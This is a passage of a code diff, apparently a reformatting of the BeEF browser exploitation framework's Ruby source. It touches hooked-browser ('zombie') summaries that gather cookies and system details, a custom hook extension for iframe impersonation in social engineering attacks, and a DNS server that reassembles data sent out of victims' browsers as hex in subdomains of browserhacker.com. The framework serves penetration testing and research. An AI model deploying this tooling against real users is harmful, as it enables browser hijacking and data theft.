# :creationdate => Time.new.to_i
|
||||
# ).save
|
||||
# rescue
|
||||
# return false
|
||||
# end
|
||||
|
||||
# return true
|
||||
end
|
||||
|
||||
def update_command_module_tree(tree, cmd_category, cmd_status, cmd_name, cmd_id)
|
||||
# construct leaf node for the command module tree
|
||||
leaf_node = {
|
||||
'text' => cmd_name,
|
||||
'leaf' => true,
|
||||
'status' => cmd_status,
|
||||
'id' => cmd_id
|
||||
}
|
||||
|
||||
# add the node to the branch in the command module tree
|
||||
tree.each do |x|
|
||||
if x['text'].eql? cmd_category
|
||||
x['children'].push(leaf_node)
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def get_command_module_status(mod)
|
||||
hook_session_id = targetsession
|
||||
return 'Verified Unknown' if hook_session_id.nil?
|
||||
|
||||
case BeEF::Module.support(
|
||||
mod,
|
||||
{
|
||||
'browser' => BD.get(hook_session_id, 'BrowserName'),
|
||||
'ver' => BD.get(hook_session_id, 'BrowserVersion'),
|
||||
'os' => [BD.get(hook_session_id, 'OsName')]
|
||||
}
|
||||
)
|
||||
|
||||
when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
|
||||
'Verified Not Working'
|
||||
when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY
|
||||
'Verified User Notify'
|
||||
when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
|
||||
'Verified Working'
|
||||
when BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
|
||||
'Verified Unknown'
|
||||
else
|
||||
'Verified Unknown'
|
||||
end
|
||||
end
|
||||
|
||||
# @note Returns a JSON array containing the summary for a selected zombie.
|
||||
# Yoinked from the UI panel -
|
||||
# we really need to centralise all this stuff and encapsulate it away.
|
||||
def select_zombie_summary
|
||||
return if targetsession.nil?
|
||||
|
||||
# init the summary grid
|
||||
summary_grid_hash = {
|
||||
'success' => 'true',
|
||||
'results' => []
|
||||
}
|
||||
|
||||
# zombie properties
|
||||
# in the form of: category, UI label, value
|
||||
zombie_properties = [
|
||||
|
||||
# Browser
|
||||
['Browser', 'Browser Name', 'BrowserName'],
|
||||
['Browser', 'Browser Version', 'BrowserVersion'],
|
||||
['Browser', 'Browser UA String', 'BrowserReportedName'],
|
||||
['Browser', 'Browser Language', 'BrowserLanguage'],
|
||||
['Browser', 'Browser Platform', 'BrowserPlatform'],
|
||||
['Browser', 'Browser Plugins', 'BrowserPlugins'],
|
||||
['Browser', 'Window Size', 'WindowSize'],
|
||||
|
||||
# Browser Components
|
||||
['Browser Components', 'Flash', 'HasFlash'],
|
||||
['Browser Components', 'Java', 'JavaEnabled'],
|
||||
['Browser Components', 'VBScript', 'VBScriptEnabled'],
|
||||
['Browser Components', 'PhoneGap', 'HasPhonegap'],
|
||||
['Browser Components', 'Google Gears', 'HasGoogleGears'],
|
||||
['Browser Components', 'Web Sockets', 'HasWebSocket'],
|
||||
['Browser Components', 'QuickTime', 'HasQuickTime'],
|
||||
['Browser Components', 'RealPlayer', 'HasRealPlayer'],
|
||||
['Browser Components', 'Windows Media Player', 'HasWMP'],
|
||||
['Browser Components', 'VLC', 'HasVLC'],
|
||||
['Browser Components', 'WebRTC', 'HasWebRTC'],
|
||||
['Browser Components', 'ActiveX', 'HasActiveX'],
|
||||
['Browser Components', 'Session Cookies', 'hasSessionCookies'],
|
||||
['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'],
|
||||
|
||||
# Hooked Page
|
||||
['Hooked Page', 'Page Title', 'PageTitle'],
|
||||
['Hooked Page', 'Page URI', 'PageURI'],
|
||||
['Hooked Page', 'Page Referrer', 'PageReferrer'],
|
||||
['Hooked Page', 'Hook Host', 'HostName'],
|
||||
['Hooked Page', 'Cookies', 'Cookies'],
|
||||
|
||||
# Host
|
||||
%w[Host Date DateStamp],
|
||||
['Host', 'Operating System', 'OsName'],
|
||||
%w[Host Hardware Hardware],
|
||||
%w[Host CPU CPU],
|
||||
['Host', 'Default Browser', 'DefaultBrowser'],
|
||||
['Host', 'Screen Size', 'ScreenSize'],
|
||||
['Host', 'Touch Screen', 'TouchEnabled']
|
||||
]
|
||||
|
||||
# set and add the return values for each browser property
|
||||
# in the form of: category, UI label, value
|
||||
zombie_properties.each do |p|
|
||||
case p[2]
|
||||
when 'BrowserName'
|
||||
data = BeEF::Core::Constants::Browsers.friendly_name(BD.get(targetsession.to_s, p[2])).to_s
|
||||
|
||||
when 'ScreenSize'
|
||||
screen_size_hash = JSON.parse(BD.get(targetsession.to_s, p[2]).gsub(/"=>/, '":')) # tidy up the string for JSON
|
||||
width = screen_size_hash['width']
|
||||
height = screen_size_hash['height']
|
||||
cdepth = screen_size_hash['colordepth']
|
||||
data = "Width: #{width}, Height: #{height}, Colour Depth: #{cdepth}"
|
||||
|
||||
when 'WindowSize'
|
||||
window_size_hash = JSON.parse(BD.get(targetsession.to_s, p[2]).gsub(/"=>/, '":')) # tidy up the string for JSON
|
||||
width = window_size_hash['width']
|
||||
height = window_size_hash['height']
|
||||
data = "Width: #{width}, Height: #{height}"
|
||||
else
|
||||
data = BD.get(targetsession, p[2])
|
||||
end
|
||||
|
||||
# add property to summary hash
|
||||
next if data.nil?
|
||||
|
||||
summary_grid_hash['results'].push({
|
||||
'category' => p[0],
|
||||
'data' => { p[1] => CGI.escapeHTML(data.to_s) },
|
||||
'from' => 'Initialization'
|
||||
})
|
||||
end
|
||||
|
||||
summary_grid_hash
|
||||
end
|
||||
|
||||
def select_network_hosts
|
||||
return if targetsession.nil?
|
||||
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
unless configuration.get('beef.extension.network.enable')
|
||||
print_error('Network extension is disabled')
|
||||
return {
|
||||
'success' => 'false',
|
||||
'results' => []
|
||||
}
|
||||
end
|
||||
|
||||
# init the summary grid
|
||||
summary_grid_hash = {
|
||||
'success' => 'true',
|
||||
'results' => []
|
||||
}
|
||||
@nh = BeEF::Core::Models::NetworkHost
|
||||
hosts = @nh.where(hooked_browser_id: targetsession)
|
||||
|
||||
# add property to summary hash
|
||||
unless hosts.empty?
|
||||
hosts.each do |x|
|
||||
summary_grid_hash['results'].push({
|
||||
'ip' => x['ip'].to_s,
|
||||
'hostname' => x['hostname'].to_s,
|
||||
'type' => x['type'].to_s,
|
||||
'os' => x['os'].to_s,
|
||||
'mac' => x['mac'].to_s,
|
||||
'lastseen' => x['lastseen'].to_s
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
summary_grid_hash
|
||||
end
|
||||
|
||||
def select_network_services
|
||||
return if targetsession.nil?
|
||||
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
unless configuration.get('beef.extension.network.enable')
|
||||
print_error('Network extension is disabled')
|
||||
return {
|
||||
'success' => 'false',
|
||||
'results' => []
|
||||
}
|
||||
end
|
||||
|
||||
# init the summary grid
|
||||
summary_grid_hash = {
|
||||
'success' => 'true',
|
||||
'results' => []
|
||||
}
|
||||
@ns = BeEF::Core::Models::NetworkService
|
||||
services = @ns.where(hooked_browser_id: targetsession)
|
||||
|
||||
# add property to summary hash
|
||||
unless services.empty?
|
||||
services.each do |x|
|
||||
summary_grid_hash['results'].push({
|
||||
'proto' => x['proto'].to_s,
|
||||
'ip' => x['ip'].to_s,
|
||||
'port' => x['port'].to_s,
|
||||
'type' => x['type'].to_s
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
summary_grid_hash
|
||||
end
|
||||
|
||||
attr_reader :targetsession, :targetid, :targetip, :cmd
|
||||
|
||||
protected
|
||||
|
||||
attr_writer :targetsession, :targetid, :targetip, :cmd
|
||||
attr_accessor :config
|
||||
end
|
||||
end
|
||||
|
||||
summary_grid_hash
|
||||
end
|
||||
|
||||
def select_network_services
|
||||
|
||||
return if self.targetsession.nil?
|
||||
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
if !configuration.get("beef.extension.network.enable")
|
||||
print_error("Network extension is disabled")
|
||||
return {
|
||||
'success' => 'false',
|
||||
'results' => []
|
||||
}
|
||||
end
|
||||
|
||||
# init the summary grid
|
||||
summary_grid_hash = {
|
||||
'success' => 'true',
|
||||
'results' => []
|
||||
}
|
||||
@ns = BeEF::Core::Models::NetworkService
|
||||
services = @ns.where(:hooked_browser_id => self.targetsession)
|
||||
|
||||
# add property to summary hash
|
||||
if not services.empty?
|
||||
services.each do |x|
|
||||
summary_grid_hash['results'].push({
|
||||
'proto' => x['proto'].to_s,
|
||||
'ip' => x['ip'].to_s,
|
||||
'port' => x['port'].to_s,
|
||||
'type' => x['type'].to_s
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
summary_grid_hash
|
||||
end
|
||||
|
||||
attr_reader :targetsession
|
||||
attr_reader :targetid
|
||||
attr_reader :targetip
|
||||
attr_reader :cmd
|
||||
|
||||
protected
|
||||
|
||||
attr_writer :targetsession
|
||||
attr_writer :targetid
|
||||
attr_writer :targetip
|
||||
attr_writer :cmd
|
||||
attr_accessor :config
|
||||
|
||||
end
|
||||
|
||||
end end end
|
||||
|
||||
@@ -8,65 +8,56 @@ require 'rex'
|
||||
require 'rex/ui'
|
||||
|
||||
module BeEF
|
||||
module Extension
|
||||
module Console
|
||||
module Extension
|
||||
module Console
|
||||
class Shell
|
||||
DefaultPrompt = '%undBeEF%clr'
|
||||
DefaultPromptChar = '%clr>'
|
||||
|
||||
class Shell
|
||||
|
||||
DefaultPrompt = "%undBeEF%clr"
|
||||
DefaultPromptChar = "%clr>"
|
||||
|
||||
include Rex::Ui::Text::DispatcherShell
|
||||
|
||||
def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {})
|
||||
|
||||
require 'extensions/console/lib/readline_compatible'
|
||||
require 'extensions/console/lib/command_dispatcher'
|
||||
require 'extensions/console/lib/shellinterface'
|
||||
|
||||
self.http_hook_server = opts['http_hook_server']
|
||||
self.config = opts['config']
|
||||
self.jobs = Rex::JobContainer.new
|
||||
self.interface = BeEF::Extension::Console::ShellInterface.new(self.config)
|
||||
|
||||
super(prompt, prompt_char, File.expand_path(self.config.get("beef.extension.console.shell.historyfolder").to_s + self.config.get("beef.extension.console.shell.historyfile").to_s))
|
||||
|
||||
input = Rex::Ui::Text::Input::Stdio.new
|
||||
output = Rex::Ui::Text::Output::Stdio.new
|
||||
|
||||
init_ui(input,output)
|
||||
|
||||
enstack_dispatcher(CommandDispatcher::Core)
|
||||
|
||||
#To prevent http_hook_server from blocking, we kick it off as a background job here.
|
||||
self.jobs.start_bg_job(
|
||||
"http_hook_server",
|
||||
self,
|
||||
Proc.new { |ctx_| self.http_hook_server.start }
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
def stop
|
||||
super
|
||||
end
|
||||
|
||||
#New method to determine if a particular command dispatcher it already .. enstacked .. gooood
|
||||
def dispatched_enstacked(dispatcher)
|
||||
inst = dispatcher.new(self)
|
||||
self.dispatcher_stack.each { |disp|
|
||||
if (disp.name == inst.name)
|
||||
return true
|
||||
include Rex::Ui::Text::DispatcherShell
|
||||
|
||||
def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {})
|
||||
require 'extensions/console/lib/readline_compatible'
|
||||
require 'extensions/console/lib/command_dispatcher'
|
||||
require 'extensions/console/lib/shellinterface'
|
||||
|
||||
self.http_hook_server = opts['http_hook_server']
|
||||
self.config = opts['config']
|
||||
self.jobs = Rex::JobContainer.new
|
||||
self.interface = BeEF::Extension::Console::ShellInterface.new(config)
|
||||
|
||||
super(prompt, prompt_char, File.expand_path(config.get('beef.extension.console.shell.historyfolder').to_s + config.get('beef.extension.console.shell.historyfile').to_s))
|
||||
|
||||
input = Rex::Ui::Text::Input::Stdio.new
|
||||
output = Rex::Ui::Text::Output::Stdio.new
|
||||
|
||||
init_ui(input, output)
|
||||
|
||||
enstack_dispatcher(CommandDispatcher::Core)
|
||||
|
||||
# To prevent http_hook_server from blocking, we kick it off as a background job here.
|
||||
jobs.start_bg_job(
|
||||
'http_hook_server',
|
||||
self,
|
||||
proc { |_ctx_| http_hook_server.start }
|
||||
)
|
||||
end
|
||||
|
||||
def stop
|
||||
super
|
||||
end
|
||||
|
||||
# New method to determine if a particular command dispatcher it already .. enstacked .. gooood
|
||||
def dispatched_enstacked(dispatcher)
|
||||
inst = dispatcher.new(self)
|
||||
dispatcher_stack.each do |disp|
|
||||
return true if disp.name == inst.name
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
attr_accessor :http_hook_server, :config, :jobs, :interface
|
||||
end
|
||||
}
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
attr_accessor :http_hook_server
|
||||
attr_accessor :config
|
||||
attr_accessor :jobs
|
||||
attr_accessor :interface
|
||||
|
||||
end
|
||||
|
||||
end end end
|
||||
@@ -4,29 +4,27 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Customhook
|
||||
|
||||
module RegisterHttpHandlers
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'mount_handler')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'pre_http_start')
|
||||
|
||||
def self.mount_handler(beef_server)
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
configuration.get("beef.extension.customhook.hooks").each do |h|
|
||||
beef_server.mount(configuration.get("beef.extension.customhook.hooks.#{h.first}.path"), BeEF::Extension::Customhook::Handler.new)
|
||||
end
|
||||
end
|
||||
module Extension
|
||||
module Customhook
|
||||
module RegisterHttpHandlers
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'mount_handler')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'pre_http_start')
|
||||
|
||||
def self.pre_http_start(beef_server)
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
configuration.get("beef.extension.customhook.hooks").each do |h|
|
||||
print_success "Successfully mounted a custom hook point"
|
||||
print_more "Mount Point: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.path")}\nLoading iFrame: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.target")}\n"
|
||||
def self.mount_handler(beef_server)
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
configuration.get('beef.extension.customhook.hooks').each do |h|
|
||||
beef_server.mount(configuration.get("beef.extension.customhook.hooks.#{h.first}.path"), BeEF::Extension::Customhook::Handler.new)
|
||||
end
|
||||
end
|
||||
|
||||
def self.pre_http_start(_beef_server)
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
configuration.get('beef.extension.customhook.hooks').each do |h|
|
||||
print_success 'Successfully mounted a custom hook point'
|
||||
print_more "Mount Point: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.path")}\nLoading iFrame: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.target")}\n"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,19 +4,17 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Customhook
|
||||
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'customhook'
|
||||
|
||||
@full_name = 'Custom Hook Point with iFrame Impersonation'
|
||||
|
||||
@description = 'An auto-hook and full-screen iframe - demonstrating extension creation and social engineering attacks'
|
||||
|
||||
end
|
||||
end
|
||||
module Extension
|
||||
module Customhook
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'customhook'
|
||||
|
||||
@full_name = 'Custom Hook Point with iFrame Impersonation'
|
||||
|
||||
@description = 'An auto-hook and full-screen iframe - demonstrating extension creation and social engineering attacks'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/customhook/api'
|
||||
|
||||
@@ -4,31 +4,29 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Customhook
|
||||
|
||||
class Handler
|
||||
module Extension
|
||||
module Customhook
|
||||
class Handler
|
||||
def call(env)
|
||||
@body = ''
|
||||
@request = Rack::Request.new(env)
|
||||
@params = @request.query_string
|
||||
@response = Rack::Response.new(body = [], 200, header = {})
|
||||
config = BeEF::Core::Configuration.instance
|
||||
eruby = Erubis::FastEruby.new(File.read("#{File.dirname(__FILE__)}/html/index.html"))
|
||||
config.get('beef.extension.customhook.hooks').each do |h|
|
||||
path = config.get("beef.extension.customhook.hooks.#{h.first}.path")
|
||||
next unless path == (env['REQUEST_URI']).to_s
|
||||
|
||||
def call(env)
|
||||
@body = ''
|
||||
@request = Rack::Request.new(env)
|
||||
@params = @request.query_string
|
||||
@response = Rack::Response.new(body=[], 200, header={})
|
||||
config = BeEF::Core::Configuration.instance
|
||||
eruby = Erubis::FastEruby.new(File.read(File.dirname(__FILE__)+'/html/index.html'))
|
||||
config.get("beef.extension.customhook.hooks").each do |h|
|
||||
path = config.get("beef.extension.customhook.hooks.#{h.first}.path")
|
||||
if path == "#{env['REQUEST_URI']}"
|
||||
print_info "[Custom Hook] Handling request for custom hook mounted at '#{path}'"
|
||||
@body << eruby.evaluate({
|
||||
'customhook_target' => config.get("beef.extension.customhook.hooks.#{h.first}.target"),
|
||||
'customhook_title' => config.get("beef.extension.customhook.hooks.#{h.first}.title")
|
||||
})
|
||||
break
|
||||
end
|
||||
end
|
||||
print_info "[Custom Hook] Handling request for custom hook mounted at '#{path}'"
|
||||
@body << eruby.evaluate({
|
||||
'customhook_target' => config.get("beef.extension.customhook.hooks.#{h.first}.target"),
|
||||
'customhook_title' => config.get("beef.extension.customhook.hooks.#{h.first}.title")
|
||||
})
|
||||
break
|
||||
end
|
||||
|
||||
@response = Rack::Response.new(
|
||||
@response = Rack::Response.new(
|
||||
body = [@body],
|
||||
status = 200,
|
||||
header = {
|
||||
@@ -39,20 +37,15 @@ module Customhook
|
||||
'Access-Control-Allow-Origin' => '*',
|
||||
'Access-Control-Allow-Methods' => 'POST, GET'
|
||||
}
|
||||
)
|
||||
|
||||
end
|
||||
)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# @note Object representing the HTTP request
|
||||
@request
|
||||
|
||||
# @note Object representing the HTTP response
|
||||
@response
|
||||
|
||||
# @note Object representing the HTTP request
|
||||
@request
|
||||
|
||||
# @note Object representing the HTTP response
|
||||
@response
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -11,15 +11,16 @@ module BeEF
|
||||
|
||||
def self.mount_handler(beef_server)
|
||||
# mount everything in html directory to /demos/
|
||||
path = File.dirname(__FILE__) + '/html/'
|
||||
files = Dir[path + '**/*']
|
||||
path = "#{File.dirname(__FILE__)}/html/"
|
||||
files = Dir["#{path}**/*"]
|
||||
|
||||
beef_server.mount('/demos', Rack::File.new(path))
|
||||
|
||||
files.each do |f|
|
||||
# don't follow symlinks
|
||||
next if File.symlink?(f)
|
||||
mount_path = '/demos/' + f.sub(path, '')
|
||||
|
||||
mount_path = "/demos/#{f.sub(path, '')}"
|
||||
if File.extname(f) == '.html'
|
||||
# use handler to mount HTML templates
|
||||
beef_server.mount(mount_path, BeEF::Extension::Demos::Handler.new(f))
|
||||
|
||||
@@ -38,8 +38,6 @@ module BeEF
|
||||
)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# @note String representing the absolute path to the .html file
|
||||
@file_path
|
||||
|
||||
|
||||
@@ -7,9 +7,7 @@ module BeEF
|
||||
module Extension
|
||||
module Dns
|
||||
module API
|
||||
|
||||
module NameserverHandler
|
||||
|
||||
BeEF::API::Registrar.instance.register(
|
||||
BeEF::Extension::Dns::API::NameserverHandler,
|
||||
BeEF::API::Server,
|
||||
@@ -25,11 +23,15 @@ module BeEF
|
||||
# Starts the DNS nameserver at BeEF startup.
|
||||
#
|
||||
# @param http_hook_server [BeEF::Core::Server] HTTP server instance
|
||||
def self.pre_http_start(http_hook_server)
|
||||
def self.pre_http_start(_http_hook_server)
|
||||
dns_config = BeEF::Core::Configuration.instance.get('beef.extension.dns')
|
||||
dns = BeEF::Extension::Dns::Server.instance
|
||||
|
||||
protocol = dns_config['protocol'].to_sym rescue :udp
|
||||
protocol = begin
|
||||
dns_config['protocol'].to_sym
|
||||
rescue StandardError
|
||||
:udp
|
||||
end
|
||||
address = dns_config['address'] || '127.0.0.1'
|
||||
port = dns_config['port'] || 5300
|
||||
interfaces = [[protocol, address, port]]
|
||||
@@ -44,12 +46,13 @@ module BeEF
|
||||
up_port = server[2]
|
||||
|
||||
next if [up_protocol, up_address, up_port].include?(nil)
|
||||
|
||||
servers << [up_protocol.to_sym, up_address, up_port] if up_protocol =~ /^(tcp|udp)$/
|
||||
upstream_servers << "Upstream Server: #{up_address}:#{up_port} (#{up_protocol})\n"
|
||||
end
|
||||
end
|
||||
|
||||
dns.run(:upstream => servers, :listen => interfaces)
|
||||
dns.run(upstream: servers, listen: interfaces)
|
||||
|
||||
print_info "DNS Server: #{address}:#{port} (#{protocol})"
|
||||
print_more upstream_servers unless upstream_servers.empty?
|
||||
@@ -61,9 +64,7 @@ module BeEF
|
||||
def self.mount_handler(beef_server)
|
||||
beef_server.mount('/api/dns', BeEF::Extension::Dns::DnsRest.new)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -6,20 +6,18 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module Dns
|
||||
|
||||
# Provides the core DNS nameserver functionality. The nameserver handles incoming requests
|
||||
# using a rule-based system. A list of user-defined rules is used to match against incoming
|
||||
# DNS requests. These rules generate a response that is either a resource record or a
|
||||
# failure code.
|
||||
class Server < Async::DNS::Server
|
||||
|
||||
include Singleton
|
||||
|
||||
def initialize
|
||||
super()
|
||||
@lock = Mutex.new
|
||||
@database = BeEF::Core::Models::Dns::Rule
|
||||
@data_chunks = Hash.new
|
||||
@data_chunks = {}
|
||||
end
|
||||
|
||||
# Adds a new DNS rule. If the rule already exists, its current ID is returned.
|
||||
@@ -49,9 +47,9 @@ module BeEF
|
||||
$VERBOSE = verbose
|
||||
|
||||
@database.find_or_create_by(
|
||||
:resource => rule[:resource].to_s,
|
||||
:pattern => pattern.source,
|
||||
:response => rule[:response]
|
||||
resource: rule[:resource].to_s,
|
||||
pattern: pattern.source,
|
||||
response: rule[:response]
|
||||
).id
|
||||
end
|
||||
end
|
||||
@@ -63,12 +61,10 @@ module BeEF
|
||||
# @return [Hash] hash representation of rule (empty hash if rule wasn't found)
|
||||
def get_rule(id)
|
||||
@lock.synchronize do
|
||||
begin
|
||||
rule = @database.find(id)
|
||||
return to_hash(rule)
|
||||
rescue ActiveRecord::RecordNotFound
|
||||
return nil
|
||||
end
|
||||
rule = @database.find(id)
|
||||
return to_hash(rule)
|
||||
rescue ActiveRecord::RecordNotFound
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
@@ -81,9 +77,7 @@ module BeEF
|
||||
@lock.synchronize do
|
||||
begin
|
||||
rule = @database.find(id)
|
||||
if not rule.nil? and rule.destroy
|
||||
return true
|
||||
end
|
||||
return true if !rule.nil? && rule.destroy
|
||||
rescue ActiveRecord::RecordNotFound
|
||||
return nil
|
||||
end
|
||||
@@ -109,10 +103,8 @@ module BeEF
|
||||
#
|
||||
# @return [Boolean] true if ruleset was destroyed, otherwise false
|
||||
def remove_ruleset!
|
||||
@lock.synchronize do
|
||||
if @database.destroy_all
|
||||
return true
|
||||
end
|
||||
@lock.synchronize do
|
||||
return true if @database.destroy_all
|
||||
end
|
||||
end
|
||||
|
||||
@@ -134,24 +126,22 @@ module BeEF
|
||||
|
||||
if upstream
|
||||
resolver = Async::DNS::Resolver.new(upstream)
|
||||
@otherwise = Proc.new { |t| t.passthrough!(resolver) }
|
||||
@otherwise = proc { |t| t.passthrough!(resolver) }
|
||||
end
|
||||
|
||||
begin
|
||||
# super(:listen => listen)
|
||||
Thread.new { super() }
|
||||
rescue RuntimeError => e
|
||||
if e.message =~ /no datagram socket/ || e.message =~ /no acceptor/ # the port is in use
|
||||
print_error "[DNS] Another process is already listening on port #{options[:listen]}"
|
||||
print_error "Exiting..."
|
||||
exit 127
|
||||
else
|
||||
raise
|
||||
end
|
||||
rescue RuntimeError => e
|
||||
if e.message =~ /no datagram socket/ || e.message =~ /no acceptor/ # the port is in use
|
||||
print_error "[DNS] Another process is already listening on port #{options[:listen]}"
|
||||
print_error 'Exiting...'
|
||||
exit 127
|
||||
else
|
||||
raise
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -164,42 +154,41 @@ module BeEF
|
||||
# @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer
|
||||
def process(name, resource, transaction)
|
||||
@lock.synchronize do
|
||||
|
||||
resource = resource.to_s
|
||||
|
||||
print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})"
|
||||
print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})"
|
||||
|
||||
# no need to parse AAAA resources when data is extruded from client. Also we check if the FQDN starts with the 0xb3 string.
|
||||
# this 0xb3 is convenient to clearly separate DNS requests used to extrude data from normal DNS requests than should be resolved by the DNS server.
|
||||
if format_resource(resource) == 'A' and name.match(/^0xb3/)
|
||||
if format_resource(resource) == 'A' && name.match(/^0xb3/)
|
||||
reconstruct(name.split('0xb3').last)
|
||||
catch (:done) do
|
||||
catch(:done) do
|
||||
transaction.fail!(:NXDomain)
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
catch (:done) do
|
||||
catch(:done) do
|
||||
# Find rules matching the requested resource class
|
||||
resources = @database.where(:resource => resource)
|
||||
resources = @database.where(resource: resource)
|
||||
throw :done if resources.length == 0
|
||||
|
||||
# Narrow down search by finding a matching pattern
|
||||
resources.each do |rule|
|
||||
pattern = Regexp.new(rule.pattern)
|
||||
|
||||
if name =~ pattern
|
||||
print_debug "Found matching DNS rule (id: #{rule.id} response: #{rule.response})"
|
||||
Proc.new { |t| eval(rule.callback) }.call(transaction)
|
||||
throw :done
|
||||
end
|
||||
next unless name =~ pattern
|
||||
|
||||
print_debug "Found matching DNS rule (id: #{rule.id} response: #{rule.response})"
|
||||
proc { |_t| eval(rule.callback) }.call(transaction)
|
||||
throw :done
|
||||
end
|
||||
|
||||
if @otherwise
|
||||
print_debug "No match found, querying upstream servers"
|
||||
print_debug 'No match found, querying upstream servers'
|
||||
@otherwise.call(transaction)
|
||||
else
|
||||
print_debug "No match found, sending NXDOMAIN response"
|
||||
print_debug 'No match found, sending NXDOMAIN response'
|
||||
transaction.fail!(:NXDomain)
|
||||
end
|
||||
end
|
||||
@@ -207,43 +196,44 @@ module BeEF
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Collects and reconstructs data extruded by the client and found in subdomain, with structure like:
|
||||
#0.1.5.4c6f72656d20697073756d20646f6c6f722073697420616d65742c20636f6e7.browserhacker.com
|
||||
#[...]
|
||||
#0.5.5.7565207175616d206469676e697373696d2065752e.browserhacker.com
|
||||
# 0.1.5.4c6f72656d20697073756d20646f6c6f722073697420616d65742c20636f6e7.browserhacker.com
|
||||
# [...]
|
||||
# 0.5.5.7565207175616d206469676e697373696d2065752e.browserhacker.com
|
||||
def reconstruct(data)
|
||||
split_data = data.split('.')
|
||||
pack_id = split_data[0]
|
||||
seq_num = split_data[1]
|
||||
seq_tot = split_data[2]
|
||||
data_chunk = split_data[3] # this might change if we store more than 63 bytes in a chunk (63 is the limitation from RFC)
|
||||
split_data = data.split('.')
|
||||
pack_id = split_data[0]
|
||||
seq_num = split_data[1]
|
||||
seq_tot = split_data[2]
|
||||
data_chunk = split_data[3] # this might change if we store more than 63 bytes in a chunk (63 is the limitation from RFC)
|
||||
|
||||
if pack_id.match(/^(\d)+$/) and seq_num.match(/^(\d)+$/) and seq_tot.match(/^(\d)+$/)
|
||||
print_debug "[DNS] Received chunk (#{seq_num} / #{seq_tot}) of packet (#{pack_id}): #{data_chunk}"
|
||||
unless pack_id.match(/^(\d)+$/) && seq_num.match(/^(\d)+$/) && seq_tot.match(/^(\d)+$/)
|
||||
print_debug "[DNS] Received invalid chunk:\n #{data}"
|
||||
return
|
||||
end
|
||||
|
||||
if @data_chunks[pack_id] == nil
|
||||
# no previous chunks received, create new Array to store chunks
|
||||
@data_chunks[pack_id] = Array.new(seq_tot.to_i)
|
||||
@data_chunks[pack_id][seq_num.to_i - 1] = data_chunk
|
||||
else
|
||||
# previous chunks received, update Array
|
||||
@data_chunks[pack_id][seq_num.to_i - 1] = data_chunk
|
||||
if @data_chunks[pack_id].all? and @data_chunks[pack_id] != 'DONE'
|
||||
# means that no position in the array is false/nil, so we received all the packet chunks
|
||||
packet_data = @data_chunks[pack_id].join('')
|
||||
decoded_packet_data = packet_data.scan(/../).map{ |n| n.to_i(16)}.pack('U*')
|
||||
print_debug "[DNS] Packet data fully received: #{packet_data}. \n Converted from HEX: #{decoded_packet_data}"
|
||||
print_debug "[DNS] Received chunk (#{seq_num} / #{seq_tot}) of packet (#{pack_id}): #{data_chunk}"
|
||||
|
||||
# we might get more DNS requests for the same chunks sometimes, once every chunk of a packet is received, mark it
|
||||
@data_chunks[pack_id] = 'DONE'
|
||||
end
|
||||
end
|
||||
else
|
||||
print_debug "[DNS] Data (#{data}) is not a valid chunk."
|
||||
end
|
||||
if @data_chunks[pack_id].nil?
|
||||
# no previous chunks received, create new Array to store chunks
|
||||
@data_chunks[pack_id] = Array.new(seq_tot.to_i)
|
||||
@data_chunks[pack_id][seq_num.to_i - 1] = data_chunk
